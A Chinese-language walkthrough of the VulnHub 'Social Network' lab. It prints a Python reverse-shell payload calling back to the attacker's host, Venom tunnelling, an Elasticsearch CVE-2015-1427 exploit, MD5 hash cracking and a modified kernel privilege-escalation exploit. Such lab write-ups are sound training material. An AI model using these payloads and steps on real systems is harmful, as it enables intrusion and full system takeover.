0x00 靶機介紹
靶機地址:BoredHackerBlog: Social Network ~ VulnHub
靶機難度:中
推薦虛擬機:VirtualBox
0x01 內容簡介
- 涉及的攻擊方法
- 主機發現
- 端口掃描
- 服務發現
- 路徑爬取
- 代碼注入
- Shell腳本
- 內網信息收集
- 內網穿透
- 漏洞利用
- 密碼破解
- 本地提權
- 攻擊代碼修改
0x02 環境搭建
下載好靶機.ova
文件后導入到VirtualBox中即可
確保靶機和kali在同一網段中
kali IP地址:10.0.2.5
0x03 主機發現
因為靶機和kali在同一網段中,所以優先選擇二層的主機發現技術
執行命令:sudo arp-scan -l
共掃描到4個IP地址,其中前三個IP是VirtualBox正常運行所需要使用到的IP,所以只有最后一個IP地址:10.0.2.15
是靶機的IP
拿到靶機的IP:10.0.2.15 后接下來進行全端口的掃描,探測靶機上都開啟了哪些端口,哪些服務
執行命令:sudo nmap -p- 10.0.2.15
從掃描的結果中得出靶機開啟了兩個端口,接下來對這兩個端口進行服務版本的探測
執行命令:sudo nmap -p22,5000 -sV 10.0.2.15
從掃描結果中可以得出
-
22
端口運行着OpenSSH
服務,並且靶機應該是Ubuntu
操作系統 -
5000
端口運行着httpd
服務,通過Werkzeug
關鍵詞搜索得知這是基於python
進行web
開發的底層框架;這也就意味着服務器端運行的編程語言環境是python2.7
,那么后期發現有代碼執行漏洞的話就可以使用python
腳本來反彈shell
,從而獲取控制權等
既然運行的是web應用,那就打開瀏覽器訪問網站,看看有沒有默認頁面,如果有默認頁面再看看有沒有注入的點
可以看出來這是一個社交網站,通過簡單的安全性探測發現默認頁面並沒有明顯的已知漏洞,也並不存在跨站腳本漏洞,沒有什么收獲
在對web應用滲透時,必做的一個常規操作是:web應用程序路徑發現,看看那些隱藏的頁面隱藏的路徑中是否包含函數的提交點或者其他漏洞
web應用路徑的爬取工具有很多,比如windows
平台的御劍
,本次在kali上使用dirsearch
這個工具
通過爬取web應用路徑,很有可能會發現后台地址,那么就可以對后台發起攻擊,進而極大概率上可以幫助我們找到目標系統的突破點
執行命令:dirsearch -u http://10.0.2.15:5000/
掃描完成,發現了一個路徑,用瀏覽器訪問一下:http://10.0.2.15:5000/admin
訪問發現這是一個代碼執行的頁面,結合上面收集到的信息得知服務端運行的是python2.7
編程語言環境,所以可以嘗試向頁面表單中注入python
代碼來反彈shell
0x04 python反彈shell
使用搜索引擎搜索python反彈shell
可以找到很多內容,比方說:python反彈shell_反彈Shell小結_何普的博客-CSDN博客
# 紅框部分大概意思是:創建一個可交互的sh和一個到192.168.118.128的TCP連接,然后將sh的輸入輸出錯誤都重定向到在192.168.118.128占用5555端口的進程上
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); # 創建套接字;AF_INET(TCP/IP – IPv4);SOCK_STREAM(TCP流)
s.connect(("192.168.118.128",5555)); # 要連接的ip地址和端口
os.dup2(s.fileno(),0); # os.dup2()方法用於將一個文件描述符 fd 復制到另一個 fd2
os.dup2(s.fileno(),1); # fileno()方法返回一個整型的文件描述符(file descriptor FD 整型),可用於底層操作系統的 I/O 操作
os.dup2(s.fileno(),2); # 使用fileno()返回一個整型的文件描述符,並使用os.dup2(s.fileno(),0)把這個整型的文件描述符復制到后面的0三個dup2函數先后將socket重定向到標准輸入,標准輸入,標准錯誤輸出。
p=subprocess.call(["/bin/sh","-i"]); # subprocess.call()執行由參數提供的命令,返回命令的狀態,0或者非0
# 可以是["/bin/bash","-i"]或["/bin/sh","-i"]
參考如下
- 簡單理解socket(socket.AF_INET,socket.SOCK_STRE,os.dup2(s.fileno(),0),subprocess.call([“/bin/bash“,“-i“])
- Python執行外部命令(subprocess,call,Popen)_寧願失敗,也不要猶豫的技術博客_51CTO博客
查看kali自己的IP
執行命令:ip a
使用nc
啟動偵聽
執行命令:nc -nvlp 4444
然后在web頁面上執行python
反彈shell代碼,這里只有["/bin/sh","-i"]
可以成功運行,注意將ip改為kali的ip地址,端口改成nc
偵聽的端口
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
點擊頁面按鈕Test code
之后,nc
監聽這邊有了反應,獲得了一個反彈的shell
簡單的執行一下命令,查看當前路徑和賬戶權限
很幸運,拿到了root
權限,但真的如此嗎?
0x05 判斷是否在docker容器里
Dockerfile 是一個用來構建鏡像的文本文件,文本內容包含了一條條構建鏡像所需的指令和說明。
Dockerfile 通常會作為在生產環境下標准化部署Docker容器,部署開發環境時所使用的模板文件,這個模板文件中會包含一系列的怎么樣去引入docker映像、怎么樣對doker映像進行配置、安裝哪些軟件包、修改哪些服務項等等;作為研發人員就可以將模板文件分發給應用的部署人員,從而可以在生產環境的服務器上統一的、標准化的、保持一致性的大批量部署docker容器。總而言之,Dockerfile就是標准化部署的模板文件。
使用ls
命令時看到了Dockerfile
文件,是否意味着取得的root
權限的操作系統其實是一個docker
容器中的系統
查看一下Dockerfile
文件內容
執行命令:cat Dockerfile
#docker build -t socnet .
#docker run -td --rm -p 8080:8080 socnet
FROM python:2.7-alpine # FROM:從docker hub上或者本地存儲庫中拉取鏡像作為基本鏡像,基礎鏡像選用alpine比較合適,這個鏡像不到5M
COPY . /app # COPY:拷貝文件或目錄到容器中,跟ADD類似,但不具備自動下載或解壓的功能
WORKDIR /app # WORKDIR:切換當前執行的工作目錄
RUN pip install -r requirements.txt # RUN:將在當前映像之上的新層中執行任何命令並提交結果。生成的提交映像將用於下一步Dockerfile
CMD ["python", "/app/main.py"] # CMD:容器啟動的命令,如果有多個則以最后一個為准,也可以為ENTRYPOINT提供參數
參考:Dockerfile的入坑路_Peithon的博客-CSDN博客_dockerfile run
可以看到這個Dockerfile
文件內容是標准的dockerfile模板文件,查看完這個文件之后就更加深這是一個docker
系統的懷疑
實錘這就是一個docker容器的兩中方法(命令)
-
方法一(90%):查看系統根目錄下是否存在
.dockerenv
文件,執行命令:ls /.dockerenv
-
方法二(100%):查看
/proc/1/cgroup
文件,執行命令:cat /proc/1/cgroup
如果出現類似下面的內容的話就可以100%確定這是一個
docker
容器系統,而且docker
容器的哈希值就放在后面原因:Linux系統啟動后,1這個pid就代表這個計算機系統的初始化id,當初始化pid的cgroup文件中明確包含docker映像指示信息就100%證明當前系統是一個docker容器
這就實錘了拿到的root賬號權限是在docker容器中
0x06 內網主機發現
查看當前docker容器系統的ip地址
執行命令:ip a
得到ip地址:172.17.0.2
,不同於之前發起攻擊的靶機ip:10.0.2.15
,進一步證實了這是一個docker
容器系統,因為它們的ip都不一樣
現在就可以將docker容器所處的網段視為內網網段,下一步的常見思路就是,在內網中進行主機發現,看看內網里還有沒有其他的主機?如果有其他的主機是否存在已知的漏洞呢?是否可以利用這些漏洞攻擊更多的內網系統呢?
在內網進行主機發現,靶機上沒有kali中的眾多工具,使用ping
命令較為合適,子網掩碼是16位,理論上有65535個IP地址,手工一個一個ping不太現實,需要借助自動化的工具,比較簡單的方法就是寫一個腳本使用循環對指定的內網內網段ping
# 掃描172.17.1.1 - 172.17.254.254並提取有回包的ip
for i in $(seq 1 254);do for j in $(seq 1 254);do ping -c 1 172.17.$i.$j | grep "ttl";done;done
由於這里打的靶機就不掃那么多了
執行命令:for i in $(seq 1 10);do ping -c 1 172.17.0.$i | grep "ttl";done
一番掃描之后除去172.17.0.2
是本機外,共掃出2個存活的IP地址,接下來就需要對172.17.0.1
和172.17.0.3
進行端口掃描,看看它們上面開啟了什么服務、有沒有漏洞、是否可以滲透進去
0x07 內網穿透
由於172.17處於內網網段,kali無法直接訪問到,要解決這個問題需要借助內網穿透技術,將kali到172.17內網之間的網絡路由打通
利用venom這個工具可以很方便的在kali與內網之間建立一條隧道,然后基於這個隧道生成一個代理,使kali中的眾多工具可以通過這個代理訪問到目標靶機的內網
venom
工具gitHub地址:GitHub - Dliv3/Venom: Venom - A Multi-hop Proxy for Penetration Testers
首先下載venom
壓縮包到kali中,並解壓
查看目標系統的版本
執行命令:uname -a
得到目標系統是Linux 64
位,選擇venom
中agent_linux_x64
這個程序
將agent_linux_x64
這個客戶端傳輸到目標系統上,在本機上運行對應的服務端admin_linux_x64
kali本機運行admin_linux_x64
,偵聽9999
端口
執行命令:./admin_linux_x64 -lport 9999
目標系統需要先獲取venom
客戶端,然后運行客戶端連接到服務端,從而建立一條隧道
在kali上啟動http服務,然后在目標系統上通過wget
命令來獲取agent_linux_x64
客戶端程序
在kali上啟動http服務,執行命令:python3 -m http.server 80
目標系統使用wget
獲取客戶端程序
執行命令:wget http://10.0.2.5/agent_linux_x64
賦予可執行權限
執行命令:chmod +x agent_linux_x64
啟動客戶端程序,連接服務端,建立連接
執行命令:./agent_linux_x64 -rhost 10.0.2.5 -rport 9999
服務端啟動socks
偵聽
這樣就在kali上啟動了偵聽在1080
端口的socks5
代理
為了讓kali上的所有工具都可以掛代理訪問內網,還需要使用proxychains
這個工具
修改proxychains
的配置文件,配置代理類型、IP、端口
執行命令:sudo vim /etc/proxychains4.conf
0x08 內網端口掃描
使用namp對內網IP:172.17.0.1
和172.17.0.3
進行端口掃描
執行命令:proxychains nmap -Pn -sT 172.17.0.1
掃描結果顯示開放了,22和5000兩個端口,再對22和5000的服務版本掃描一下
執行命令:proxychains nmap -p22,5000 -Pn -sT -sV 172.17.0.1
這個掃描結果似曾相識,和掃描10.0.2.15這個的結果一摸一樣
通過瀏覽器訪問一下172.17.0.1的5000端口kali
為方便切換代理,可在火狐瀏覽器中安裝FoxyProxy Standard
擴展,擴展地址:FoxyProxy Standard 下載
FoxyProxy Standard擴展添加socks5代理
瀏覽器使用代理
訪問內網172.17.0.1:5000
顯示的內容和之前訪問http://10.0.2.15:5000所顯示的內容完全一樣,甚至手動測試的數據也可以看到,說明172.17.0.1就是10.0.2.15這台宿主機,只是172.17.0.1是面向容器內網的IP,所以172.17.0.1就是要攻擊的目標靶機
接下來繼續對172.17.0.3進行端口掃描
執行命令:proxychains nmap -Pn -sT 172.17.0.3
掃描結果顯示只開放了9200端口,再對這個端口上跑的服務掃描一下
執行命令:proxychains nmap -p9200 -Pn -sT -sV 172.17.0.3
從掃描結果中得出9200上跑的是Elasticsearch,版本是1.4.2
0x09 Elasticsearch RCE
Elasticsearch在歷史版本中曾經出現過幾次非常嚴重的漏洞,最嚴重的都是一些RCE遠程代碼執行漏洞
使用searchsploit
搜索kali是否有包含Elasticsearch已知漏洞利用代碼
執行命令:searchsploit Elasticsearch
搜索結果中的前兩個是遠程代碼執行漏洞,可以優先把這兩個漏洞利用代碼復制過來,挨個嘗試,看看能否攻入Elasticsearch服務器
首先嘗試36337.py這個漏洞利用代碼,將其復制到當前目錄下
執行命令:cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
可以簡單查看一下這個python腳本,看看如何利用漏洞的
可以看到這個腳本是用python2來編寫的
運行這個腳本,執行代碼:python2 36337.py
通過提示得到后面要加上目標的IP
再次執行命令:proxychains python2 36337.py 172.17.0.3
很快就得到了結果,嘗試輸入id
命令,查看獲取到的賬號權限
執行命令:id
發現腳本報錯退出了運行,不得不尋找問題,解決報錯,從提示信息中可以得出這個漏洞的編號是CVE-2015-1427
使用搜索引擎搜索CVE-2015-1427,看看是如何利用的,參考鏈接:CVE-2015-1427(Groovy 沙盒繞過 && 代碼執行漏洞) - 淺笑996 - 博客園 (cnblogs.com)
漏洞的利用步驟是
- 插入數據
- 利用剛剛插入的數據構造Payload
現在再次來看看kali中復制過來的漏洞利用代碼
執行命令:vim 36337.py
對比參考鏈接中的payload和python腳本中的payload,可以發現大多數內容都是一樣的,唯一不同的是參考鏈接中利用的Payload中的鍵test#
是提前插入進Elasticsearch中,而python腳本中的Payload中的鍵lupin
並沒有事先插入進Elasticsearch中,那么將lupin
插入到Elasticsearch后這個python腳本是否就可以正常運行了呢?值得嘗試一下
使用burpsuite
,掛上socks5代理,向Elasticsearch發起post請求,插入數據lupin
首先打開burpsuite
查看burpsuite
代理端口
配置burpsuite
使用socks代理
配置瀏覽器使用burpsuite
代理
使用瀏覽器訪問http://172.17.0.3:9200
將burpsuite
抓到的請求數據包發送到Repeater
模塊
修改HTTP數據包內容為插入lupin
格式,點擊發送
創建成功后,重新嘗試執行命令:proxychains python2 36337.py 172.17.0.3
id
命令執行成功!又拿到了一個root
賬號,但這僅僅是個容器系統的root權限
執行命令:cat /proc/1/cgroup
0x0a 內核漏洞提權
在這個容器系統中進行信息收集,經過一番查找,在根目錄發現了一個文件名為passwords
的文件
執行命令:ls /
這里面是否包含比較機密的密碼呢?出於好奇
執行命令:cat /passwords
發現這的確是一個賬號密碼文件,前面是賬號,后面是密碼的hash值
通過網上的md5密文查詢網站中,查詢到了全部密文對應的明文。查詢鏈接:MD5免費在線解密破解_MD5在線加密-SOMD5
賬號 | 密碼(密文) | 密碼(明文) |
---|---|---|
john | 3f8184a7343664553fcb5337a3138814 | 1337hack |
test | 861f194e9d6118f3d942a72be3e51749 | 1234test |
admin | 670c3bbc209a18dde5446e5e6c1f1d5b | 1111pass |
root | b3d34352fc26117979deabdf1b9b6354 | 1234pass |
jane | 5c158b60ed97c723b673529b8a3cf72b | 1234jane |
拿着這些賬號密碼,可以嘗試登錄開放了22端口的IP地址,首當其沖10.0.2.15
一番嘗試之后,驚喜的發現賬號john
竟然可以成功登錄到10.0.2.15
,遺憾的是其余的都不行
執行命令:ssh john@10.0.2.15
成功登錄至目標靶機
賬號john
目前是唯一可以利用的賬號,看看這個賬號是否可以把自己提升為root
,如果可以,本次打靶就大功告成了
執行命令:sudo -s
很不幸並不可以,並沒有sudo
的權限
若還想要獲取root權限的話無外乎就是進行本地提權
本地提權的方法有很多,但是最主要的方法是利用內核漏洞來進行提權
查看系統內核,執行命令:uname -a
可以看到目標系統使用的內核版本是3.13,非常古老的版本,對於這么古老的版本一般都會存在內核漏洞
再次利用searchsploit
搜索關於linux 3.13
漏洞利用代碼
執行命令:searchsploit linux 3.13
搜索到了很多的結果,隨便挑選一個本地提權的漏洞利用代碼
在真實的滲透場景下,真實的項目過程中,這個環節也是可能會發現很多的漏洞利用的版本,我們需要挨個在目標系統上嘗試
比如說使用37292.c
這個漏洞利用版本,先拷貝到當前目錄
執行命令:cp /usr/share/exploitdb/exploits/linux/local/37292.c .
查看這個文件的代碼
執行命令:vim 37292.c
通過查看說明部分,發現這是一個C語言源代碼文件,運行之前需要使用gcc
先編譯
然而在目標系統上執行命令:gcc
結果顯示目標系統上並沒有安裝gcc,所以需要先在kali上先編譯好,然后再傳輸到目標靶機上運行
在目標靶機上運行任何漏洞利用代碼之前都強烈建議能夠先閱讀一下即將執行的漏洞利用代碼
再次查看源碼,執行命令:vim 37292.c
通過查看源碼發現
- 在第
139-147
行,通過C代碼再次執行了gcc
命令,將ofs-lib.c
編譯為ofs-lib.so
文件,所以即便在kali上事先編譯好了,但是當在目標系統上運行的時候由於目標系統上並沒有安裝gcc
還是會報錯;解決的方法有很多,比較簡單直接的方法是修改源碼內容,將編譯部分刪除,然后在kali中尋找有沒有現成的ofs-lib.so文件
- 第
148
行,讀取了/tmp/ofs-lib.so
文件,所以在目標系統上執行的時候,需要將ofs-lib.so
文件放到tmp
目錄下才可以成功讀取到這個文件
修改源碼文件,刪除原先的第139-147
行,修改后的內容如下
編譯修改后的C源碼
執行命令:gcc -o exp 37292.c
編譯過程報了一些警告無傷大雅,不會影響最終執行結果
查找kali中是否有ofs-lib.so
文件
執行命令:locate ofs-lib.so
結果發現還真的有,復制到當前目錄下
執行命令:cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .
在kali上啟動HTTP服務,在目標靶機通過wget
命令下載這兩個文件
啟動HTTP服務,執行命令:python3 -m http.server 80
目標靶機下載這兩個文件
執行命令:
-
wget http://10.0.2.5/exp
-
wget http://10.0.2.5/ofs-lib.so
為確保成功運行,需要將ofs-lib.so
移動到/tmp
目錄下,索性直接將兩個文件都移到/tmp
目錄下
執行命令:mv * /tmp
賦予exp
可執行權限
執行命令:chmod +x exp
執行exp
程序,提升權限
執行命令:./exp
可喜可賀,成功提升到了root權限,本次打靶圓滿完成!
0x0b 總結
-
打靶過程文字概述
- 先進行主機發現,然后對已發現的主機進行了端口掃描以及服務的掃描
- 掃描結束之后發現在目標靶機上
5000
端口跑了一個web應用,嘗試使用瀏覽器訪問這個web應用 - 在web應用默認頁面下沒有收獲任何的已知漏洞,接下來使用
dirsearch
命令對web應用路徑進行探測 - 發現了一個
/admin
后台的路徑,在這個后台頁面存在遠程代碼執行漏洞,利用這個漏洞獲取到了一個目標系統的反彈shell - 但是獲取到這個shell之后,發現自己被困在一個docker容器的系統當中,基於這個容器系統對於內網的IP地址段進行主機發現
- 在內網主機發現的過程中,識別出了兩個IP地址:
172.17.0.1
和172.17.0.3
- 隨即建立了內網穿透隧道,開啟了
socks
代理,對內網已探測到存活的主機進行全端口以及服務的掃描 - 在掃描的過程中發現在
172.17.0.3
開啟了9200
端口,對應跑的應用程序是Elasticsearch
- 嘗試對
Elasticsearch
進行已有漏洞的利用攻擊,成功的拿下172.17.0.3
這台主機 - 在這台主機中繼續進行信息收集,發現了在根目錄下有一個名為
passwords
文件 - 在文件內容中收獲到了
john
賬號以及密碼的hash值,通過在線的密碼破解工具,查詢到了對應的明文密碼 - 拿到賬號密碼之后嘗試在內網所有開啟了22端口的主機上進行登錄,最終結果是成功登錄到了靶機系統上
- 但是登錄成功后又遇到了一個難題,賬號
john
只是一個普通賬號,沒有sudo
權限 - 不得不進行提權操作,通過
uname -a
發現目標系統內核是很古老的版本,挑選了一個針對內核漏洞進行利用的代碼 - 但是這個漏洞利用代碼無法在目標系統上進行
gcc
的編譯,所以在kali上修改了源代碼,刪除了其中調用gcc
編譯的部分代碼之后進行編譯,並在kali找到了所依賴的二進制庫文件 - 將這兩個文件一起傳輸到目標系統上,通過在目標系統上執行編譯好的程序,最終拿到了
root
權限
-
打靶過程對應的視頻鏈接:點擊查看